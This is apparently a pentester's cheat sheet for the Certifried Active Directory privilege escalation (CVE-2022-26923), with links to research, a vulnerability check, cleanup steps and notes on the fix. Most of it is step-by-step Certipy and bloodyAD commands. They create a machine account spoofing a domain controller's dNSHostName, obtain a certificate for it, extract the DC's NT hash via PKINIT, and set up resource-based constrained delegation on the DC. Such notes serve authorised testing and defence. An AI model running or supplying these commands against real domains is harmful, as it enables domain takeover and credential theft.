dNSHostName Spoofing (Certifried)

CVE-2022-26923

• https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

• https://www.semperis.com/blog/ad-vulnerability-cve-2022-26923/

• https://gist.github.com/Wh04m1001/355c0f697bfaaf6546e3b698295d1aa1

• https://gist.github.com/dmchell/478d83f369260bd4e4cd380712f6bb6e

• https://github.com/aniqfakhrul/certifried.py

• https://gist.github.com/tothi/f89a37127f2233352d74eef6c748ca25

Check

If there's an object SID printed when requesting a certificate based on the User or Machine templates, the AD environment is not vulnerable:

$ certipy req -u [e-mail] -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template User -dc-ip 192.168.1.11
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 120
[*] Got certificate with UPN '[e-mail]'
[*] Certificate object SID is 'S-1-5-21-1230029644-1443616230-1161330039-2139'  <== NOT vulnerable
[*] Saved certificate and private key to 'snovvcrash.pfx'

Exploit

Create a new machine account with dNSHostName containing FQDN of a DC:

$ certipy account create -u [e-mail] -p 'Passw0rd!' -target DC01.megacorp.local -user FAKEMACHINE -dns DC01.megacorp.local

Or change dNSHostName property manually for an already pwned machine account, e.g. via pre2k (will definitely break stuff!):

$ certipy account update -u [e-mail] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns ''
$ certipy account update -u [e-mail] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns DC01.megacorp.local

Request a certificate on behalf of that machine account with spoofed dNSHostName:

$ certipy req -u 'FAKEMACHINE$@megacorp.local' -p 'M4chinePassw0rd!' -target CA01.megacorp.local -ca CorpCA -template Machine -dc-ip 192.168.1.11

Abuse PKINIT

Authenticate with the obtained certificate and get DC's NT hash via PKINIT:

$ certipy auth -pfx dc01.pfx -dc-ip 192.168.1.11

Abuse RBCD

• https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html

Authenticate with obtained certificate and configure RBCD on a DC via bloodyAD to allow delegation to the fake machine account:

$ openssl pkcs12 -in dc01.pfx -out dc01.pem -nodes
$ python bloodyAD.py -d megacorp.local -c ":dc01.pem" --host 192.168.1.11 setRbcd 'FAKEMACHINE$' 'DC01$'

Clean Up

If dNSHostName was modified for an existing machine account, roll back the changes:

$ certipy account update -u [e-mail] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns PWNEDMACHINE.megacorp.local
$ certipy account update -u [e-mail] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns WSMAN/pwnedmachine.MEGACORP.LOCAL,WSMAN/pwnedmachine,TERMSRV/pwnedmachine.MEGACORP.LOCAL,TERMSRV/pwnedmachine,RestrictedKrbHost/pwnedmachine,HOST/pwnedmachine,RestrictedKrbHost/pwnedmachine.MEGACORP.LOCAL,HOST/pwnedmachine.MEGACORP.LOCAL

A list of SPNs to backup can be taken from a BH dump:

$ cat 20230301144823_computers.json | jq -r '.data[].Properties | select(.name == "PWNEDMACHINE.MEGACORP.LOCAL") | .serviceprincipalnames'

About the Fix

• https://blog.qdsecurity.se/2022/05/27/manually-injecting-a-sid-in-a-certificate/
• https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d0770154464f44da356ca42
• https://elkement.blog/2022/06/13/defused-that-san-flag/
• https://elkement.blog/2022/05/20/how-to-add-a-subject-alternative-name-safely/
• https://elkement.blog/2023/03/30/lord-of-the-sid-how-to-add-the-objectsid-attribute-to-a-certificate-manually/